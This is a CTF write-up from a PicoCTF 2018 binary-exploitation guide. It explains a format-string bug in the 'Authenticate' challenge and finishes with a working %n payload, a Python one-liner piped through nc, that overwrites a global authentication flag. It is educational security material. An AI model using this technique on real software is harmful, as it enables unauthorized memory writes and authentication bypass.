PicoCTF 2018 - Authenticate

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

I’ll give you a hint, you should be able to spot the bug based on the last challenge.

int authenticated = 0;

void read_flag()
{
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  } else {
    printf("Access Granted.\n");
    flag();
  }
}

int main(int argc, char **argv)
{
  // ...
  char buf[64];
  // ...
  fgets(buf, sizeof(buf), stdin);
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }
  read_flag();

Let’s break it down:

  1. There is a global variable authenticated, initialized to false, but must be set to true in order to get the flag
  2. buf is allocated on the stack (but is used safely buy the function fgets)
  3. If the response contains “no”, the program immediately exits
  4. If the response contains “yes”, the program calls read_flag() (which validates the authenticated variable)
  5. If the response contains neither “no” nor “yes”, the program calls printf(buf) to echo the response back to the user. For some reason, it still calls read_flag().

Soo… Where’s the bug?

If you said printf(buf), then you’re exactly right! Good job.

Strategy

Our strategy has to be a little different this time around. When printf is called, the flag isn’t even loaded into memory yet!

But, we do know that buf is on the stack, so we can probably reference stuff in that.

And we also know that read_flag() will still get called, so we just need some way to change the value of authenticated.

We even know exactly where authenticated is in memory because we can verify that PIE is not enabled for this binary. (Do you remember how to check?)

The strategy is to find some way for a format string vulnerability to write to known location in memory.

Background Info

It’s silly really. How could a function designed for printing stuff to the screen allow you to write to memory?

Maybe you’re a c programming language veteran and have an idea… If so, connect to the challenge uisng nc 2018shell.picoctf.com 52398 and give it a go, otherwise, listen up.

If you browse the documentation for format strings, you come across this curious type field for “%n”:

Character Description
n Print nothing, but write the number of characters successfully written so far into an integer pointer parameter.

Which is very interesting. It says that instead of printing something to the screen when it sees a “%n” token, it’ll actually treat the corresponding argument as an int* and WRITE A NUMBER THERE. Essentially, if you make your output long enough, you can write any int value to any location in memory (assuming you can control the int* argument).

Ok, first things first, where is authenticated in memory?

$ objdump -t ./auth | grep authenticated
0804a04c g     O .bss   00000004              authenticated

What about the content of buf? It’s on the stack, but where is it relative to the pointer to the format string passed as an argument to printf?

mov    ebp,esp
push   ecx ; esp -= 4
sub    esp,0x64 ; esp -= 0x64
; ...
; printf(buf)
sub    esp,0xc
lea    eax,[ebp-0x4c] ; &buf
push   eax
call   80484b0 <printf@plt>

So, we know there are 0x68 bytes reserved on the stack. We know that buf[64] starts at ebp-0x4c. We know that we push the format string argument (a 4 byte ptr) followed by 12 bytes of padding, followed by rest of the baseline stack reserved by the function.

Start End Content
esp esp+3 &buf [4 bytes] (format string)
esp+4 esp+15 alignment padding [12 bytes]
esp+16 = baseline = ebp-0x68 esp+31 = ebp-0x4d other [28 bytes]
ebp-0x4c ebp-0x0d buf[64]

Therefore, there are 12+28 = 40 bytes of stuff between the format-string argument and the start of buf[].

First, let’s check our math, what should happen if we enter a format string of “ABCD %11$#lX”?

If you recall from echooo, this format string is a POSIX extension that says treat all of the arguments as if they were “%#lX” ie, a long sized integer, and then print ONLY the 11th one as a hexadecimal value (prepended with “0x”). The gcc compiler on x86 linux platforms treats long integers as 32 bit. The ascii values for A,B,C, and D are 0x41, 0x42, 0x43 and 0x44 respectively. A 32-bit little-endian integer would store its value with the least significant byte first, and its most significant byte last. The string “ABCD” would therefore be equivalent to the in-memory representation of the 32-bit integer 0x44434241, which is what we expect that format-string to print out. Let’s verify!

$ ./auth
Would you like to read the flag? (yes/no)
ABCD %11$#lX
Received Unknown Input:

ABCD 0x44434241
Sorry, you are not *authenticated*!

Excellent, memory is layed out exactly as we expect it to be!

You should now have all the pieces you need to craft your exploit. Try it now by connecting with nc 2018shell.picoctf.com 52398.

Exploitation

We know authenticated is at the address 0x0804a04c, we know we can use “%n” to write to an address, and we know that the first byte of buf[] starts 40 bytes after the format-string argument (where 40 bytes is equivalent to 10 pointers).

Let’s write a non-zero value into authenticated by putting the address 0x0804a04c (written in little-endian form) into the first 4 bytes of buf, and then use the format string “%11$n” which will index into the stack the equivalent of 10 int* pointers (40 bytes), grab the 11th one, and then set the value of memory pointed to by that pointer to be equal to the number of bytes printed so far (in this case 4). Since authenticated=4 is “truthy”, read_flag() will call flag(), which will then open the flag file and print its contents.

$ python -c 'print("\x4c\xa0\x04\x08%11$n")' | nc 2018shell.picoctf.com 52398
Would you like to read the flag? (yes/no)
Received Unknown Input:

L�
Access Granted.
picoCTF{===REDACTED===}

Good job! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.